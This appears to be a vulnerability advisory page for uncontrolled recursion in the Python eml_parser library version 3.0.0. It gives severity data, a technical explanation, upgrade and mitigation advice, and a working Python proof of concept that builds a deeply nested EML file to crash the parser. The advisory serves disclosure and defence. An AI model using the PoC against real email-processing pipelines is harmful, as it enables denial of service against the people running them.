Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-reachable crafted EML requires no privileges or interaction and deterministically crashes the parsing worker, warranting A:H despite the RFC non-compliance barrier factored into AC:L.
Primary rating from Vendor (https://github.com/GOVCERT-LU/eml_parser).
CVSS VectorVendor: https://github.com/GOVCERT-LU/eml_parser
Lifecycle Timeline
5DescriptionCVE.org
Summary
EmlParser.get_raw_body_text() recurses unconditionally for every nested message/rfc822 attachment without any depth limit. An attacker who can supply a badly crafted EML file with approximately 120 nested message/rfc822 parts triggers an unhandled RecursionError and aborts parsing of the message. A 12 KB EML file is enough to crash a worker. Though this causes the parser to crash, it is an unlikely scenario as the suggested EML that crashes the parser would not pass basic RFC compliance tests.
Details
The vulnerable function is EmlParser.get_raw_body_text() in eml_parser/parser.py. For every part of type multipart/*, the function iterates over its sub-parts; for every sub-part of type message/rfc822, it calls itself recursively on the inner message:
There is no depth parameter and no early-abort. CPython's default sys.recursionlimit is 1000. Each level of message/rfc822 nesting adds approximately 8 frames to the stack (parser code + stdlib _header_value_parser calls), so roughly 120 nested levels exhaust the limit.
The RecursionError is not caught anywhere along the call chain, so it propagates out of decode_email_bytes() and aborts processing of the entire message.
PoC
Environment: Python 3.12.3, eml_parser 3.0.0 (pip install eml_parser==3.0.0), default sys.recursionlimit=1000, Ubuntu 24.04 aarch64. No special configuration of EmlParser, default constructor.
Self-contained reproducer that builds the PoC and triggers the crash:
import eml_parser
def build_poc(depth=124):
inner = b"From: a@a\r\nTo: b@b\r\nContent-Type: text/plain\r\n\r\n.\r\n"
msg = inner
for i in range(depth):
b = f"B{i}".encode()
msg = (
b'Content-Type: multipart/mixed; boundary="' + b + b'"\r\n\r\n'
b'--' + b + b'\r\nContent-Type: message/rfc822\r\n\r\n'
) + msg + b'\r\n--' + b + b'--\r\n'
return msg
ep = eml_parser.EmlParser()
ep.decode_email_bytes(build_poc())
# RecursionError after ~76 ms on Apple Silicon (Ubuntu 24.04 aarch64).Note that the suggested code does not produce an RFC compliant message. Resulting EML payload size: 12,369 bytes. SHA-256 of generated PoC: 00f15f635e21b4144967c2893b37425e6a6bd7b4185c557e5c7e904e1e6d18e8
The crash is deterministic on a stock install. No network, no special headers, no large attachments.
Impact
Denial of service of any pipeline that processes attacker-supplied EML files using eml_parser.
A single 12 KB email is enough to crash a worker. If the worker is a long-running process triaging multiple emails, the unhandled exception aborts processing of the whole batch unless the caller wraps the call in a broad try/except. Even then, attacker-supplied volume can keep workers in a perpetual restart loop.
The vulnerability is exploitable pre-authentication in any deployment that ingests emails from external senders which have not been subject to any kind of basic validation. Considering that email messages pass through a mail-server which does some kind of validation, messages as produced by the *build_poc* function would not reach eml_parser. Nonetheless recursion depth checks have been implemented to handle the described issue.
Reporter
Sebastián Alba Vives (@Sebasteuo) Independent security researcher, Senior AppSec Consultant LinkedIn: https://www.linkedin.com/in/sebastian-alba Email: sebasjosue84@gmail.com PGP: 0D1A E4C2 CFC8 894F 19EA DA24 45CD CA33 2CF8 31F4
AnalysisAI
Unbounded recursion in eml_parser 3.0.0 (Python, pip) allows denial of service via a crafted EML file containing approximately 120 nested message/rfc822 attachments, exhausting CPython's default stack limit and crashing the parsing worker with an unhandled RecursionError. A publicly available, deterministic proof-of-concept reproduces the crash with a 12 KB payload in under 100ms against a default-configured installation. No active exploitation has been confirmed (not in CISA KEV), and EPSS is very low at 0.02%, reflecting that non-RFC-compliant messages triggering this flaw are typically filtered by upstream mail infrastructure - but pipelines that ingest raw bytes without prior validation remain directly exposed.
Technical ContextAI
The affected package is eml_parser (pkg:pip/eml_parser), a Python library maintained by GOVCERT-LU for parsing EML/RFC 822 email messages. The root cause is CWE-674 (Uncontrolled Recursion): the method EmlParser.get_raw_body_text() in eml_parser/parser.py calls itself for each message/rfc822 sub-part encountered within a multipart/* body, with no depth counter, no iteration cap, and no exception guard. CPython's default sys.recursionlimit is 1000 frames; each level of message/rfc822 nesting consumes approximately 8 frames (parser logic plus stdlib _header_value_parser internals), meaning roughly 120 nesting levels exhaust the limit. The resulting RecursionError is unhandled anywhere in the call chain, propagating out of decode_email_bytes() and aborting processing of the entire message batch if the caller does not wrap the call in a broad exception handler.
RemediationAI
Upgrade eml_parser to version 3.0.1 or later, which introduces recursion depth checks to prevent unbounded stack growth. The fix is confirmed by the EUVD entry (eml_parser < 3.0.1 is vulnerable) and the GitHub advisory at https://github.com/GOVCERT-LU/eml_parser/security/advisories/GHSA-g47v-rwmh-r9f8. Install via pip install --upgrade eml_parser. As a compensating control where immediate upgrade is not possible, wrap all calls to decode_email_bytes() in a broad except (RecursionError, Exception) block to prevent worker crashes - note this silently drops the malformed message rather than raising an alert, so add logging. Alternatively, pre-filter inbound EML files using a standalone RFC compliance checker before passing them to eml_parser, which also mitigates the specific PoC payload. Raising sys.setrecursionlimit() is not recommended as a standalone fix - it only delays the crash and introduces memory pressure.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-674 – Uncontrolled Recursion
View allSame technique Denial Of Service
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-31977
GHSA-g47v-rwmh-r9f8